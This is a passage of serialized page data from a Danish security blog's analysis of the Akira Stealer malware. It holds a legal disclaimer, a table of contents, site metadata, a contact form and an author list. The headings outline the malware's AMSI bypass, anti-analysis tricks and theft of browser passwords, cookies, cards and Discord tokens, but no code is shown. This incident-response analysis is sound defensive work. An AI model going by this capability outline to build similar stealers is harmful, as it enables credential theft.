på anden måde \"harmless\". Vi fraråder udtrykkeligt at reproducere eller anvende den slags kode i drift. Læsere skal forstå, at materialet tjener et forsknings- og oplysningsformål, men i sig selv har en risikoprofil, der ikke bør undervurderes.",[533,12775,12776],{},"Kun uddannede fagfolk, der arbejder i juridisk godkendte miljøer, for eksempel akkrediterede sikkerhedsteams, SOC-enheder, akademiske forskere eller malwarelaboratorier, bør arbejde med de beskrevne teknikker eller den beskrevne kode. Alle forsøg skal foregå i isolerede systemer uden for produktion og overholde gældende lovgivning, interne retningslinjer og etiske standarder.",[533,12778,12779],{},"Vi yder ingen support eller validering af reproduceret kode eller adfærd. Der er ingen garanti for nøjagtighed, relevans eller fuldstændighed. Derudover afviser vi udtrykkeligt enhver brug af indholdet til offensive formål, uautoriseret red teaming, kommerciel malwareudvikling eller adversarial testing uden for et juridisk defineret omfang. Enhver misbrug kan have retlige konsekvenser. glueckkanja AG fraskriver sig ethvert ansvar for direkte eller indirekte skader, der opstår som følge af brug eller fejltolkning af indholdet.",[533,12781,12782],{},"Ved at læse videre i eller henvise til indholdet bekræfter du ovenstående og accepterer ikke at misbruge, replikere eller anvende nogen del af det i ulovlige eller uetiske sammenhænge. Er du i tvivl, så rådfør dig med jeres juridiske afdeling, compliance-afdeling eller databeskyttelsesansvarlige, før du kaster dig over analyse af levende kode eller lignende teknisk materiale.",[533,12784,12785],{},"Denne publikation stilles til rådighed \"as is\", uden garanti, support eller ansvar.",[12787,12788,12789],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":594,"searchDepth":2062,"depth":2062,"links":12791},[12792,12793,12794,12795,12806,12807,12808,12809,12810,12811,12812,12813,12815,12816,12817,12818,12819,12820,12821,12822,12823,12826,12834,12835,12836,12842,12860,12878,12879,12880,12881,12889,12896,12903,12912,12919,12920,12921,12922,12923,12924,12925,12926,12927,12928,12929,12930,12931,12932,12933,12934],{"id":716,"depth":2062,"text":717},{"id":766,"depth":2062,"text":767},{"id":786,"depth":2062,"text":787},{"id":842,"depth":2062,"text":843,"children":12796},[12797,12798,12800,12802,12804],{"id":863,"depth":2068,"text":864},{"id":916,"depth":2068,"text":12799},"2.1.2 Updater.exe – initial loader",{"id":1022,"depth":2068,"text":12801},"2.1.3 main.exe – obfuskeret NodeJS-payloadbeholder",{"id":1141,"depth":2068,"text":12803},"2.1.4 cmd.exe og PowerShell-relæ",{"id":1252,"depth":2068,"text":12805},"2.1.5 python.exe med astor.py",{"id":1386,"depth":2062,"text":1387},{"id":1475,"depth":2062,"text":1476},{"id":1553,"depth":2062,"text":1554},{"id":1636,"depth":2062,"text":1637},{"id":1706,"depth":2062,"text":1707},{"id":1786,"depth":2062,"text":1787},{"id":1895,"depth":2062,"text":1896},{"id":2012,"depth":2062,"text":12814},"4.2 AMSI Bypass-teknik (klassen gofor4msi)",{"id":2198,"depth":2062,"text":2199},{"id":2317,"depth":2062,"text":2318},{"id":2417,"depth":2062,"text":2418},{"id":2513,"depth":2062,"text":2514},{"id":2588,"depth":2062,"text":2589},{"id":2659,"depth":2062,"text":2660},{"id":2719,"depth":2062,"text":2720},{"id":2860,"depth":2062,"text":2861},{"id":2921,"depth":2062,"text":2922,"children":12824},[12825],{"id":2933,"depth":2068,"text":2934},{"id":3288,"depth":2062,"text":3289,"children":12827},[12828,12829,12830,12831,12832,12833],{"id":3297,"depth":2068,"text":3298},{"id":3411,"depth":2068,"text":3412},{"id":3609,"depth":2068,"text":3610},{"id":3901,"depth":2068,"text":3902},{"id":3976,"depth":2068,"text":3977},{"id":4138,"depth":2068,"text":4139},{"id":4374,"depth":2062,"text":4375},{"id":4420,"depth":2062,"text":4421},{"id":4432,"depth":2062,"text":4433,"children":12837},[12838,12839,12840,12841],{"id":4438,"depth":2068,"text":4439},{"id":4482,"depth":2068,"text":4483},{"id":4542,"depth":2068,"text":4543},{"id":4577,"depth":2068,"text":4578},{"id":4614,"depth":2062,"text":12843,"children":12844},"7.3 Anti-analyse og omgåelse (klassen VmProtect)",[12845,12846,12847,12848,12850,12851,12852,12853,12854,12855,12856,12857,12858,12859],{"id":4623,"depth":2068,"text":4624},{"id":4639,"depth":2068,"text":4640},{"id":4680,"depth":2068,"text":4681},{"id":4769,"depth":2068,"text":12849},"7.3.4 VmProtect-arkitekturen",{"id":5120,"depth":2068,"text":5121},{"id":5186,"depth":2068,"text":5187},{"id":5255,"depth":2068,"text":5256},{"id":5319,"depth":2068,"text":5320},{"id":5387,"depth":2068,"text":5388},{"id":5444,"depth":2068,"text":5445},{"id":5542,"depth":2068,"text":5543},{"id":5612,"depth":2068,"text":5613},{"id":6068,"depth":2068,"text":6069},{"id":6115,"depth":2068,"text":6116},{"id":6129,"depth":2062,"text":6130,"children":12861},[12862,12863,12865,12867,12869,12871,12873,12875,12877],{"id":6287,"depth":2068,"text":6288},{"id":6395,"depth":2068,"text":12864},"7.4.2 Adgangskodedumper (Chromium.GetPasswords)",{"id":6517,"depth":2068,"text":12866},"7.4.3 Kreditkortdumper (Chromium.GetCreditCards)",{"id":6599,"depth":2068,"text":12868},"7.4.4 Cookiedumper (Chromium.GetCookies)",{"id":6678,"depth":2068,"text":12870},"7.4.5 Google-sessionsdumper (Chromium.dump_google_sessions)",{"id":6804,"depth":2068,"text":12872},"7.4.6 Historikdumper (Chromium.GetHistory)",{"id":6874,"depth":2068,"text":12874},"7.4.7 Autofyld-dumper (Chromium.GetAutofills)",{"id":6936,"depth":2068,"text":12876},"7.4.8 Firefox-profilindsamler (GeckoDriver & grabFirefoxProfiles)",{"id":7013,"depth":2068,"text":7014},{"id":7052,"depth":2062,"text":7053},{"id":7384,"depth":2062,"text":7385},{"id":7498,"depth":2062,"text":7499},{"id":7827,"depth":2062,"text":7828,"children":12882},[12883,12884,12885,12886,12887,12888],{"id":7836,"depth":2068,"text":7837},{"id":7988,"depth":2068,"text":7989},{"id":8094,"depth":2068,"text":8095},{"id":8219,"depth":2068,"text":8220},{"id":8287,"depth":2068,"text":8288},{"id":8412,"depth":2068,"text":8413},{"id":8517,"depth":2062,"text":12890,"children":12891},"7.9. Tyveri af Discord- og Telegram-tokens (klassen Discord)",[12892,12893,12894,12895],{"id":8530,"depth":2068,"text":8531},{"id":8661,"depth":2068,"text":8662},{"id":8905,"depth":2068,"text":8906},{"id":8987,"depth":2068,"text":8988},{"id":9057,"depth":2062,"text":9058,"children":12897},[12898,12900,12901,12902],{"id":9070,"depth":2068,"text":12899},"7.10.1 Initialisering af Data-klassen",{"id":9167,"depth":2068,"text":9168},{"id":9287,"depth":2068,"text":9288},{"id":9352,"depth":2068,"text":9353},{"id":9429,"depth":2062,"text":12904,"children":12905},"7.11 Filindsamleren (klassen Utils.steal_files)",[12906,12907,12908,12909,12910,12911],{"id":9441,"depth":2068,"text":9442},{"id":9512,"depth":2068,"text":9513},{"id":9574,"depth":2068,"text":9575},{"id":9607,"depth":2068,"text":9608},{"id":9636,"depth":2068,"text":9637},{"id":9815,"depth":2068,"text":9816},{"id":9925,"depth":2062,"text":9926,"children":12913},[12914,12915,12916,12917,12918],{"id":9934,"depth":2068,"text":9935},{"id":9949,"depth":2068,"text":9950},{"id":10028,"depth":2068,"text":10029},{"id":10177,"depth":2068,"text":10178},{"id":10409,"depth":2068,"text":10410},{"id":10762,"depth":2062,"text":10763},{"id":10793,"depth":2062,"text":10794},{"id":10917,"depth":2062,"text":10918},{"id":11030,"depth":2062,"text":11031},{"id":11081,"depth":2062,"text":11082},{"id":11260,"depth":2062,"text":11261},{"id":11310,"depth":2062,"text":11311},{"id":11354,"depth":2062,"text":11355},{"id":11394,"depth":2062,"text":11395},{"id":11484,"depth":2062,"text":514},{"id":11500,"depth":2062,"text":11501},{"id":12023,"depth":2062,"text":12024},{"id":12328,"depth":2062,"text":12329},{"id":12449,"depth":2062,"text":12450},{"id":12512,"depth":2062,"text":12513},{"id":12685,"depth":2062,"text":12686},"md","post",{"lang":12938,"seoTitle":12939,"titleClass":12940,"date":12941,"categories":12942,"blogtitlepic":12944,"socialimg":12945,"customExcerpt":12946,"keywords":12947,"maxContent":325,"asideNav":12948,"footer":12997,"contactInContent":12998,"published":325},"da","Akira Stealer: Teknisk analyse af en modulær informationstyvende malware","h2-font-size","2025-06-16",[12943],"Security","head-quiet-breach.png","/blog/heads/head-quiet-breach.png","Det begyndte med en enkelt Defender-alarm i Microsoft 365. Ingen malware, ingen signaturer, ingen panik. Bare en hvisken i støjen. Det, vi fandt frem til, var måneders tyveri af loginoplysninger, kirurgisk, lydløst og næsten usynligt. Sådan forvandlede vores CSOC et stille signal til en fuldskala indsats. Og gav vores kunde kontrollen tilbage, før de overhovedet vidste, at den var væk.","Microsoft 365 Security, detektion af tyveri af loginoplysninger, incident response, Microsoft Defender, Managed Security Services, cloudsikkerhed, trusselsdetektion, detektion af cyberangreb, CSOC, Advanced Threat Protection",{"menuItems":12949},[12950,12952,12955,12958,12961,12964,12967,12970,12973,12976,12979,12982,12985,12988,12991,12994],{"href":12951,"text":531},"#prolog",{"href":12953,"text":12954},"#_1-den-første-hændelse-og-triage-sammenfatning","Den første hændelse og triage-sammenfatning",{"href":12956,"text":12957},"#_2-malwarens-arkitektur-og-eksekveringskæde","Malwarens arkitektur og eksekveringskæde",{"href":12959,"text":12960},"#_3-deep-dive-updaterexe","Deep Dive: Updater.exe",{"href":12962,"text":12963},"#_4-deep-dive-powbat","Deep Dive: pow.bat",{"href":12965,"text":12966},"#_5-deep-dive-mainexe-electron-baseret-malware-loader","Deep Dive: main.exe",{"href":12968,"text":12969},"#_6-deep-dive-inputjs-den-krypterede-javascript-payload-loader","Deep Dive: input.js",{"href":12971,"text":12972},"#_7-deepdive-akira-stealer-v2-astorpy","DeepDive: Akira Stealer v2",{"href":12974,"text":12975},"#_8-cirkulær-eksekveringskæde-en-selvhelbredende-loop","Cirkulær eksekveringskæde",{"href":12977,"text":12978},"#_9-blockchain-sporing-og-analyse","Blockchain-sporing og analyse",{"href":12980,"text":12981},"#_10-inde-i-akira-økosystemet-kommercialiseret-cyberkriminel-infrastruktur","Inde i Akira-økosystemet",{"href":12983,"text":12984},"#_11-akira-stealer-quickcheck-berørte-filer","Akira Stealer QuickCheck berørte filer",{"href":12986,"text":12987},"#_12-mere-end-respons-sådan-forvandler-glueckkanja-csoc-hændelser-til-indsigt","Sådan forvandler glueckkanja CSOC hændelser til indsigt",{"href":12989,"text":12990},"#_13-indicators-of-compromise-iocs","Indicators of Compromise (IOCs)",{"href":12992,"text":12993},"#_14-tilbageblik-på-akira-stealer-hændelsen-styrk-jeres-forsvar-med-glueckkanja-csoc","Tilbageblik på Akira Stealer-hændelsen",{"href":12995,"text":12996},"#_15-sikkerhedsmæssig-og-juridisk-ansvarsfraskrivelse-brug-af-ægte-malwarekode","Sikkerhedsmæssig og juridisk ansvarsfraskrivelse",{"noMargin":325},{"quote":484,"infos":12999},{"bgColor":13000,"color":13001,"boxBgColor":13002,"boxColor":13003,"headline":13004,"subline":13005,"level":714,"textStyling":13006,"flush":13007,"person":13008,"form":13020},"var(--color-gk-violet)","var(--color-gk-white)","var(--color-gk-yellow)","var(--color-copy)","Tag kontakt nu","Som førende Microsoft Security MSSP beskytter vi hver dag virksomheder mod cybertrusler. Lad os tage en snak og styrke jeres cyberforsvar sammen.","text-light","justify-content-end",{"image":13009,"cloudinary":325,"alt":13010,"name":13010,"detailsHeader":13011,"details":13012},"/people/people-pam-team.png","Project & Account Management","Vi glæder os til at høre fra dig.",[13013,13017],{"text":492,"href":13014,"details":13015,"icon":13016},"tel:+49 69 4005520","Ring nu","site/phone",{"text":493,"href":13018,"icon":13019},"mailto:info@glueckkanja.com","site/mail",{"ctaText":13021,"cta":13022,"method":12936,"action":13024,"fields":13025},"Send",{"skin":13023},"primary on-surface","/send",[13026,13030,13034,13037,13041,13046,13049,13052],{"type":13027,"id":13028,"value":13029},"hidden","_next","successful",{"label":13031,"type":593,"id":13032,"required":325,"requiredMsg":13033},"Navn*","name","Indtast venligst dit navn.",{"label":13035,"type":593,"id":403,"required":325,"requiredMsg":13036},"Virksomhed*","Indtast venligst din virksomhed.",{"label":13038,"type":13039,"id":13039,"required":325,"requiredMsg":13040},"E-mailadresse*","email","Indtast venligst din e-mailadresse.",{"label":13042,"type":13043,"id":13044,"required":325,"requiredMsg":13045},"Dine data bliver gemt og brugt til at behandle din henvendelse. Detaljerne finder du i vores \u003Ca href=\"/da/privacy\">privatlivspolitik\u003C/a>.","checkbox","dataprotection","Bekræft venligst",{"type":13027,"id":13047,"value":13048},"_subject","Form: Blog MSSP 2025 | DA",{"type":13027,"id":13050,"value":13051},"inbox_key","gkgab-contact-form",{"type":13027,"id":13053},"_gotcha","/posts/2025-06-16-quiet-breach",{"title":521,"description":535},"posts/2025-06-16-quiet-breach",[13058,13059,13060,13061],"Microsoft 365 Defender","Threat Intelligence","Cyber Security Operations Center","Incident Deep Dive","0SljU7QKYzSqiO-i0iqx6oQJx1X3epyKpPFcU_qdq0E",{"id":13064,"extension":13065,"meta":13066,"stem":8,"__hash__":13415},"authors_data/authors.json","json",{"path":13067,"Fritz Zurhorst":13068,"Alexander Schlindwein":13074,"Sophie Luna":13080,"Nadine Klein":13088,"Karsten Kleinschmidt":13094,"Julian Wendt":13102,"Holger Bunkradt":13107,"Ralf Mania":13113,"Oliver Kieselbach":13119,"Steffen Schwerdtfeger":13125,"Gunnar Winter":13133,"Jan Petersen":13138,"Thorsten Kunzi":13143,"Moritz Pohl":13147,"Thorben Pöschus":13152,"Christoph Hannebauer":13158,"Marco Scheel":13162,"Christopher Brumm":13167,"Florian Klante":13174,"Niklas Bachmann":13179,"Nils Krautkrämer":13184,"Patrick Treptau":13190,"Peter Beckendorf":13195,"Patrick Sobau":13200,"Jörg Wunderlich":13205,"Michael Breither":13209,"Christian Kanja":13214,"Zeba Hoffmann":13220,"Jochen Fröhlich":13225,"Jan Geisbauer":13229,"Gerrit Reinke":13240,"Christian Kordel":13246,"Stephan Wälde":13250,"Carolin Kanja":13255,"Adrian Ritter":13261,"Marvin Bangert":13266,"Thorsten Pickhan":13272,"Christian Lorenz":13278,"Denis Böhm":13283,"Fabian Bader":13288,"Juan Jose Fernandez Perez":13294,"Mahschid Sayyar":13299,"Benjamin Dassow":13304,"Markus Walschburger":13309,"Jonathan Haist":13314,"Daniel Rohregger":13319,"Thomas Naunheim":13324,"Florian Stöckl":13329,"Pascal Asch":13334,"Markus Kättner":13338,"Anna Ulbricht":13345,"Annette Brauns":13352,"body":13358,"title":13414},"/authors",{"display_name":13069,"avatar":13070,"permalink":13071,"linkedin":13072,"imageOffsetTop":13073},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":13075,"avatar":13076,"permalink":13077,"twitter":13078,"linkedin":13079},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":13081,"avatar":13082,"permalink":13083,"twitter":13084,"linkedin":13085,"imageOffsetLeft":13086,"imageOffsetTop":13087},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":13089,"avatar":13090,"permalink":13091,"twitter":13092,"linkedin":13093,"imageOffsetTop":13073},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":13095,"avatar":13096,"permalink":13097,"twitter":13098,"linkedin":13099,"imageOffsetTop":13100,"imageOffsetLeft":13101},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":13103,"avatar":13104,"permalink":13105,"linkedin":13106},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":13108,"avatar":13109,"permalink":13110,"linkedin":13111,"twitter":13112},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":13114,"avatar":13115,"permalink":13116,"linkedin":13117,"twitter":13118},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":13120,"avatar":13121,"permalink":13122,"linkedin":13123,"twitter":13124},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":13126,"avatar":13127,"permalink":13128,"linkedin":13129,"twitter":13130,"imageOffsetTop":13131,"imageOffsetLeft":13132},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":13134,"avatar":13135,"permalink":13136,"twitter":13084,"linkedin":13137},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":13139,"avatar":13140,"permalink":13141,"twitter":13084,"linkedin":13142},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":13144,"avatar":13145,"permalink":13146,"twitter":13084,"linkedin":13137,"imageOffsetTop":13073},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":13148,"avatar":13149,"permalink":13150,"twitter":13084,"linkedin":13151},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":13153,"avatar":13154,"permalink":13155,"twitter":13156,"linkedin":13157},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":13159,"avatar":13160,"permalink":13161,"twitter":13084,"linkedin":13137,"imageOffsetTop":13073},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":13163,"avatar":13164,"permalink":13165,"twitter":13166,"linkedin":13166},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":13168,"avatar":13169,"permalink":13170,"twitter":13171,"linkedin":13172,"imageOffsetTop":13173},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":13175,"avatar":13176,"permalink":13177,"linkedin":13178,"twitter":13084},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":13180,"avatar":13181,"permalink":13182,"linkedin":13183,"twitter":13084},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":13185,"avatar":13186,"permalink":13187,"twitter":13188,"linkedin":13189},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":13191,"avatar":13192,"permalink":13193,"linkedin":13194,"twitter":13084},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":13196,"avatar":13197,"permalink":13198,"linkedin":13199,"twitter":13084,"imageOffsetTop":13073},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":13201,"avatar":13202,"permalink":13203,"linkedin":13204,"twitter":13084},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":13206,"avatar":13207,"permalink":13208,"twitter":13084},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":13210,"avatar":13211,"permalink":13212,"twitter":13084,"linkedin":13213},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":13215,"avatar":13216,"permalink":13217,"twitter":13218,"linkedin":13219},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":13221,"avatar":13222,"permalink":13223,"linkedin":13224,"twitter":13084},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":13226,"avatar":13227,"permalink":13228,"twitter":13084,"linkedin":13137},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":13230,"avatar":13231,"permalink":13232,"twitter":13233,"linkedin":13233,"imageOffsetTop":13073,"socials":13234},"Jan Geisbauer","people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[13235,13237],{"text":472,"href":13236},"https://emptydc.com",{"text":13238,"href":13239},"Podcast","https://hairlessinthecloud.com",{"display_name":13241,"avatar":13242,"permalink":13243,"twitter":13244,"linkedin":13245},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":13247,"avatar":13248,"permalink":13249,"twitter":13084,"linkedin":13137},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":13251,"avatar":13252,"permalink":13253,"twitter":13254,"linkedin":13137},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":13256,"avatar":13257,"permalink":13258,"twitter":13259,"linkedin":13260},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":13262,"avatar":13263,"permalink":13264,"twitter":13265,"linkedin":13265},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":13267,"avatar":13268,"permalink":13269,"twitter":13270,"linkedin":13271},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":13273,"avatar":13274,"permalink":13275,"twitter":13276,"linkedin":13277},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":13279,"avatar":13280,"permalink":13281,"linkedin":13282,"twitter":13084},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":13284,"avatar":13285,"permalink":13286,"linkedin":13287,"twitter":13084},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":13289,"avatar":13290,"permalink":13291,"linkedin":13292,"twitter":13293},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":13295,"avatar":13296,"permalink":13297,"linkedin":13298},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":13300,"avatar":13301,"permalink":13302,"linkedin":13303},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":13305,"avatar":13306,"permalink":13307,"linkedin":13308},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":13310,"avatar":13311,"permalink":13312,"linkedin":13313},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":13315,"avatar":13316,"permalink":13317,"linkedin":13318,"imageOffsetTop":13073},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":13320,"avatar":13321,"permalink":13322,"linkedin":13323,"imageOffsetTop":13073},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":13325,"avatar":13326,"permalink":13327,"linkedin":13328,"imageOffsetTop":13173},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":13330,"avatar":13331,"permalink":13332,"linkedin":13333,"imageOffsetTop":13173},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13173},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":13339,"avatar":13340,"permalink":13341,"linkedin":13342,"imageOffsetTop":13343,"imageOffsetLeft":13344},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":13346,"avatar":13347,"permalink":13348,"linkedin":13349,"imageOffsetTop":13350,"imageOffsetLeft":13351},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":13353,"avatar":13354,"permalink":13355,"linkedin":13356,"imageOffsetTop":13357,"imageOffsetLeft":13100},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":13359,"Alexander Schlindwein":13360,"Sophie Luna":13361,"Nadine Klein":13362,"Karsten Kleinschmidt":13363,"Julian Wendt":13364,"Holger Bunkradt":13365,"Ralf Mania":13366,"Oliver Kieselbach":13367,"Steffen Schwerdtfeger":13368,"Gunnar Winter":13369,"Jan Petersen":13370,"Thorsten Kunzi":13371,"Moritz Pohl":13372,"Thorben Pöschus":13373,"Christoph Hannebauer":13374,"Marco Scheel":13375,"Christopher Brumm":13376,"Florian Klante":13377,"Niklas Bachmann":13378,"Nils Krautkrämer":13379,"Patrick Treptau":13380,"Peter Beckendorf":13381,"Patrick Sobau":13382,"Jörg Wunderlich":13383,"Michael Breither":13384,"Christian Kanja":13385,"Zeba Hoffmann":13386,"Jochen Fröhlich":13387,"Jan Geisbauer":13388,"Gerrit Reinke":13392,"Christian Kordel":13393,"Stephan Wälde":13394,"Carolin Kanja":13395,"Adrian Ritter":13396,"Marvin Bangert":13397,"Thorsten Pickhan":13398,"Christian Lorenz":13399,"Denis Böhm":13400,"Fabian Bader":13401,"Juan Jose Fernandez Perez":13402,"Mahschid Sayyar":13403,"Benjamin Dassow":13404,"Markus Walschburger":13405,"Jonathan Haist":13406,"Daniel Rohregger":13407,"Thomas Naunheim":13408,"Florian Stöckl":13409,"Pascal Asch":13410,"Markus Kättner":13411,"Anna Ulbricht":13412,"Annette Brauns":13413},{"display_name":13069,"avatar":13070,"permalink":13071,"linkedin":13072,"imageOffsetTop":13073},{"display_name":13075,"avatar":13076,"permalink":13077,"twitter":13078,"linkedin":13079},{"display_name":13081,"avatar":13082,"permalink":13083,"twitter":13084,"linkedin":13085,"imageOffsetLeft":13086,"imageOffsetTop":13087},{"display_name":13089,"avatar":13090,"permalink":13091,"twitter":13092,"linkedin":13093,"imageOffsetTop":13073},{"display_name":13095,"avatar":13096,"permalink":13097,"twitter":13098,"linkedin":13099,"imageOffsetTop":13100,"imageOffsetLeft":13101},{"display_name":13103,"avatar":13104,"permalink":13105,"linkedin":13106},{"display_name":13108,"avatar":13109,"permalink":13110,"linkedin":13111,"twitter":13112},{"display_name":13114,"avatar":13115,"permalink":13116,"linkedin":13117,"twitter":13118},{"display_name":13120,"avatar":13121,"permalink":13122,"linkedin":13123,"twitter":13124},{"display_name":13126,"avatar":13127,"permalink":13128,"linkedin":13129,"twitter":13130,"imageOffsetTop":13131,"imageOffsetLeft":13132},{"display_name":13134,"avatar":13135,"permalink":13136,"twitter":13084,"linkedin":13137},{"display_name":13139,"avatar":13140,"permalink":13141,"twitter":13084,"linkedin":13142},{"display_name":13144,"avatar":13145,"permalink":13146,"twitter":13084,"linkedin":13137,"imageOffsetTop":13073},{"display_name":13148,"avatar":13149,"permalink":13150,"twitter":13084,"linkedin":13151},{"display_name":13153,"avatar":13154,"permalink":13155,"twitter":13156,"linkedin":13157},{"display_name":13159,"avatar":13160,"permalink":13161,"twitter":13084,"linkedin":13137,"imageOffsetTop":13073},{"display_name":13163,"avatar":13164,"permalink":13165,"twitter":13166,"linkedin":13166},{"display_name":13168,"avatar":13169,"permalink":13170,"twitter":13171,"linkedin":13172,"imageOffsetTop":13173},{"display_name":13175,"avatar":13176,"permalink":13177,"linkedin":13178,"twitter":13084},{"display_name":13180,"avatar":13181,"permalink":13182,"linkedin":13183,"twitter":13084},{"display_name":13185,"avatar":13186,"permalink":13187,"twitter":13188,"linkedin":13189},{"display_name":13191,"avatar":13192,"permalink":13193,"linkedin":13194,"twitter":13084},{"display_name":13196,"avatar":13197,"permalink":13198,"linkedin":13199,"twitter":13084,"imageOffsetTop":13